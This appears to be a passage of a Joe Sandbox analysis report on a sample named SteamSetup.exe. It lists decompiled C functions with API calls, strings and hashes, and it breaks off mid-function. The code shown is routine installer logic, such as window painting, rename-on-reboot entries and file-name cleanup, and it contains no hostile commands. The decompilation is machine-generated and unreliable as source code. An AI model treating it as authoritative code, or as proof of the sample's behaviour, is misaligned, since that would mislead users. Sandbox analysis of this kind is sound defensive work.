Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Delete on reboot: $N$VC@$open
API String ID: 3615053054-233152194
Opcode ID: 33f5e1601642234e7e85cd0b58378a626179fffef457767216124dc14c27a8cd
Instruction ID: ef28e404984a924d02769b335405a58d84a4f5c10dd13b46e9d300bde90bb2c1
Opcode Fuzzy Hash: 33f5e1601642234e7e85cd0b58378a626179fffef457767216124dc14c27a8cd
Instruction Fuzzy Hash: 717191B1A00209BFDB10AF60DD45E6A7B69FB94344F00843AFB05B62E0D779AD51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a250;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429240, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a248;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction ID: fbc3582f0be17511ef24b6208279bd62f68a22b1f89f17edcf88e24f0ff4dafb
Opcode Fuzzy Hash: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction Fuzzy Hash: 8E418A71800209AFCF058F95DE459AFBBB9FF44310F00842EF991AA1A0C738EA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405EAD Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EAD(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t13;
				long _t25;
				char* _t32;
				int _t38;
				void* _t39;
				intOrPtr* _t40;
				long _t43;
				WCHAR* _t45;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t54;

				_t39 = __ecx;
				lstrcpyW(0x426dc8, L"NUL");
				_t45 =  *(_t53 + 0x18);
				if(_t45 == 0) {
					L3:
					_t13 = GetShortPathNameW( *(_t53 + 0x1c), 0x4275c8, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						_t38 = wsprintfA(0x4269c8, "%ls=%ls\r\n", 0x426dc8, 0x4275c8);
						_t54 = _t53 + 0x10;
						E004061A0(_t38, 0x400, 0x4275c8, 0x4275c8,  *((intOrPtr*)( *0x42a250 + 0x128)));
						_t13 = E00405D53(0x4275c8, 0xc0000000, 4);
						_t49 = _t13;
						 *(_t54 + 0x18) = _t49;
						if(_t49 != 0xffffffff) {
							_t43 = GetFileSize(_t49, 0);
							_t6 = _t38 + 0xa; // 0xa
							_t47 = GlobalAlloc(0x40, _t43 + _t6);
							if(_t47 == 0 || E00405DD6(_t49, _t47, _t43) == 0) {
								L18:
								return CloseHandle(_t49);
							} else {
								if(E00405CB8(_t39, _t47, "[Rename]\r\n") != 0) {
									_t50 = E00405CB8(_t39, _t22 + 0xa, "\n[");
									if(_t50 == 0) {
										_t49 =  *(_t54 + 0x18);
										L16:
										_t25 = _t43;
										L17:
										E00405D0E(_t25 + _t47, 0x4269c8, _t38);
										SetFilePointer(_t49, 0, 0, 0);
										E00405E05(_t49, _t47, _t43 + _t38);
										GlobalFree(_t47);
										goto L18;
									}
									_t40 = _t47 + _t43;
									_t32 = _t40 + _t38;
									while(_t40 > _t50) {
										 *_t32 =  *_t40;
										_t32 = _t32 - 1;
										_t40 = _t40 - 1;
									}
									_t25 = _t50 - _t47 + 1;
									_t49 =  *(_t54 + 0x18);
									goto L17;
								}
								lstrcpyA(_t47 + _t43, "[Rename]\r\n");
								_t43 = _t43 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405D53(_t45, 0, 1));
					_t13 = GetShortPathNameW(_t45, 0x426dc8, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						goto L3;
					}
				}
				return _t13;
			}

0x00405ead
0x00405ebc
0x00405ec2
0x00405ed3
0x00405efb
0x00405f06
0x00405f0a
0x00405f2a
0x00405f31
0x00405f3b
0x00405f48
0x00405f4d
0x00405f52
0x00405f56
0x00405f65
0x00405f67
0x00405f74
0x00405f78
0x00406013
0x00000000
0x00405f8e
0x00405f9b
0x00405fbf
0x00405fc3
0x00405fe2
0x00405fe6
0x00405fe6
0x00405fe8
0x00405ff1
0x00405ffc
0x00406007
0x0040600d
0x00000000
0x0040600d
0x00405fc5
0x00405fc8
0x00405fd3
0x00405fcf
0x00405fd1
0x00405fd2
0x00405fd2
0x00405fda
0x00405fdc
0x00000000
0x00405fdc
0x00405fa6
0x00405fac
0x00000000
0x00405fac
0x00405f78
0x00405f56
0x00405ed5
0x00405ee0
0x00405ee9
0x00405eed
0x00000000
0x00000000
0x00405eed
0x0040601e

APIs

lstrcpyW.KERNEL32 ref: 00405EBC
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00406040,?,?), ref: 00405EE0
GetShortPathNameW.KERNEL32 ref: 00405EE9

Part of subcall function 00405CB8: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC8
Part of subcall function 00405CB8: lstrlenA.KERNEL32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CFA

GetShortPathNameW.KERNEL32 ref: 00405F06
wsprintfA.USER32 ref: 00405F24
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 00405F5F
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F6E
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA6
SetFilePointer.KERNEL32(0040A588,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A588,00000000,[Rename],00000000,00000000,00000000), ref: 00405FFC
GlobalFree.KERNEL32 ref: 0040600D
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406014

Part of subcall function 00405D53: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00405D57
Part of subcall function 00405D53: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

Strings

[Rename], xrefs: 00405F8E, 00405FA0
NUL, xrefs: 00405EB6
%ls=%ls, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: 8300d2f85c22f639866f12053983f899e2c390613bda24b040072dbac4175454
Instruction ID: 52ae09e4e2a5e81e4d5588e003ad531eff1fe7f7ae6e2de5146a23cae23f7ad9
Opcode Fuzzy Hash: 8300d2f85c22f639866f12053983f899e2c390613bda24b040072dbac4175454
Instruction Fuzzy Hash: EB315330241B19BBD2206B209D08F2B3A5CEF85758F15043BF942F62C2EA7CC9118EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00406412 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406412(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405BA9(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405B5F(L"*?|<>/\":", _t5))) == 0) {
							E00405D0E(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00406414
0x0040641d
0x00406434
0x00406434
0x0040643b
0x00406447
0x00406447
0x0040644a
0x0040644d
0x00406452
0x00406454
0x0040645d
0x00406461
0x0040647e
0x00406486
0x00406486
0x0040648b
0x0040648d
0x00406490
0x00406495
0x00406496
0x0040649a
0x0040649a
0x0040649b
0x004064a2
0x004064a4
0x004064ab
0x00000000
0x00000000
0x004064b3
0x004064b9
0x00000000
0x00000000
0x00000000
0x004064b9
0x004064be

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406475
CharNextW.USER32(?,?,?,00000000), ref: 00406484
CharNextW.USER32(?,00000000,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406489
CharPrevW.USER32(?,?,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040649C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406413
*?|<>/":, xrefs: 00406464
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 00406412

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-378803769
Opcode ID: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction ID: c1b46f2de1f90aebbf911330ce555e940da56993e608f70b6a8db31027969b8c
Opcode Fuzzy Hash: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction Fuzzy Hash: 5311C85680121299DB307B588C40AB7A2B8EF55754F52803FEDCA732C1E77C5C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 004042A9 Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042A9(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x004042bb
0x0040434f
0x00000000
0x0040434f
0x004042cc
0x004042d0
0x00000000
0x00000000
0x004042d6
0x004042df
0x004042e2
0x004042e2
0x004042e8
0x004042ee
0x004042ee
0x004042fa
0x00404300
0x00404307
0x0040430a
0x0040430d
0x0040430f
0x0040430f
0x00404317
0x0040431d
0x0040431d
0x00404327
0x0040432c
0x0040432f
0x00404334
0x00404337
0x00404337
0x00404347
0x00404347
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042C6
GetSysColor.USER32(00000000), ref: 004042E2
SetTextColor.GDI32(?,00000000), ref: 004042EE
SetBkMode.GDI32(?,?), ref: 004042FA
GetSysColor.USER32(?), ref: 0040430D
SetBkColor.GDI32(?,?), ref: 0040431D
DeleteObject.GDI32(?), ref: 00404337
CreateBrushIndirect.GDI32(?), ref: 00404341

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: 2a82f640caf94e13ad52f77eccc7f6a005bf570db5d4005cc44859485eb84fad
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: 9F215171600704ABCB219F68DE08B4BBBF8AF81714F04892DED95E26A0D738E904CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004025E5(intOrPtr __ebx, void* __esi) {
				intOrPtr _t64;
				intOrPtr _t65;
				void* _t73;
				void* _t76;

				 *((intOrPtr*)(_t73 - 0xc)) = __ebx;
				_t64 = 2;
				 *((intOrPtr*)(_t73 - 0x3c)) = _t64;
				_t65 = E00402BA2(_t64);
				_t76 = _t65 - 1;
				 *((intOrPtr*)(_t73 - 0x48)) = _t65;
				if(_t76 < 0) {
					L36:
					 *0x42a2c8 =  *0x42a2c8 +  *(_t73 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x48) = 0x3ff;
					}
					if( *__esi == __bx) {
						L34:
						__ecx =  *(__ebp - 0x10);
						__eax =  *(__ebp - 0xc);
						 *( *(__ebp - 0x10) +  *(__ebp - 0xc) * 2) = __bx;
						if(_t76 == 0) {
							 *(_t73 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 8) = __ebx;
						 *(__ebp - 0x14) = E004060DE(__ecx, __esi);
						if( *(__ebp - 0x48) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x30)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x20)) != __ebx ||  *(__ebp - 0xc) != __ebx || E00405E34( *(__ebp - 0x14), __ebx) >= 0) {
										__eax = __ebp - 0x40;
										if(E00405DD6( *(__ebp - 0x14), __ebp - 0x40, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x38;
									_push(__ebx);
									_push(__ebp - 0x38);
									__eax = 2;
									__ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x20)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x14), __ebp + 0xa, __ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x20)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x38);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x3c) = __ecx;
											 *(__ebp - 0x40) = __eax;
											if( *((intOrPtr*)(__ebp - 0x20)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004060C5( *(__ebp - 0x10), __ax & 0x0000ffff);
											} else {
												__ebp - 0x40 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x40, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x40);
												} else {
													__esi =  *(__ebp - 0x3c);
													__esi =  ~( *(__ebp - 0x3c));
													while(1) {
														_t21 = __ebp - 0x38;
														 *_t21 =  *(__ebp - 0x38) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x40) = 0xfffd;
														if( *_t21 == 0) {
															goto L22;
														}
														 *(__ebp - 0x3c) =  *(__ebp - 0x3c) - 1;
														__esi = __esi + 1;
														SetFilePointer( *(__ebp - 0x14), __esi, __ebx, 1) = __ebp - 0x40;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x38), __ebp - 0x40, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x20)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 8) == 0xd ||  *(__ebp - 8) == 0xa) {
														if( *(__ebp - 8) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x3c) =  ~( *(__ebp - 0x3c));
															__eax = SetFilePointer( *(__ebp - 0x14),  ~( *(__ebp - 0x3c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0x10);
															 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
															 *( *(__ebp - 0x10) +  *(__ebp - 0xc) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
														 *( *(__ebp - 0x10) +  *(__ebp - 0xc) * 2) = __ax;
														 *(__ebp - 8) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 0xc);
							} while ( *(__ebp - 0xc) <  *(__ebp - 0x48));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004025e7
0x004025ea
0x004025ec
0x004025ef
0x004025f4
0x004025f7
0x004025fa
0x00402a4c
0x00402a4f
0x00402600
0x00402600
0x00402607
0x00402609
0x00402609
0x0040260f
0x00402773
0x00402773
0x00402776
0x0040277b
0x004015ae
0x0040281e
0x0040281e
0x00000000
0x00402615
0x00402616
0x00402621
0x00402624
0x00402630
0x00402634
0x004026cc
0x004026e4
0x004026f4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040263a
0x0040263a
0x0040263d
0x0040263e
0x00402641
0x00402646
0x0040264d
0x00402655
0x00000000
0x0040265b
0x0040265b
0x00402660
0x00000000
0x00402666
0x00402666
0x0040266e
0x00402671
0x00402674
0x0040272f
0x00402736
0x0040267a
0x00402680
0x0040268c
0x004026f6
0x004026f6
0x0040268e
0x0040268e
0x00402691
0x00402693
0x00402693
0x00402693
0x00402696
0x0040269b
0x0040269e
0x00000000
0x00000000
0x004026a0
0x004026a3
0x004026b1
0x004026b7
0x004026c5
0x00000000
0x004026c7
0x00000000
0x004026c7
0x00000000
0x004026c5
0x00402693
0x004026f9
0x004026fc
0x00000000
0x004026fe
0x00402703
0x00402744
0x00402766
0x0040276d
0x00402752
0x00402752
0x00402758
0x0040275b
0x0040275b
0x00000000
0x0040270c
0x0040270c
0x00402712
0x00402718
0x0040271c
0x0040271f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040271f
0x00402703
0x004026fc
0x00402674
0x00402660
0x00402655
0x00000000
0x00402721
0x00402721
0x00402724
0x0040272d
0x00000000
0x00402624
0x0040260f
0x00402a55
0x00402a5b

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405E34: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E4A

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 01588cc1e6d12b9eb48a34a041857950361e167f935f48975bd7f3d5c8a3ade6
Instruction ID: fbd7f9394f7a40dbbdef10ea3a20ac1ae57b35180e29dd1ddeb30b88b5afce05
Opcode Fuzzy Hash: 01588cc1e6d12b9eb48a34a041857950361e167f935f48975bd7f3d5c8a3ade6
Instruction Fuzzy Hash: 19510774D00219ABDF209F94CA88AAEB779FF04344F50447BE501B72E0D7B99982DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BA7(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
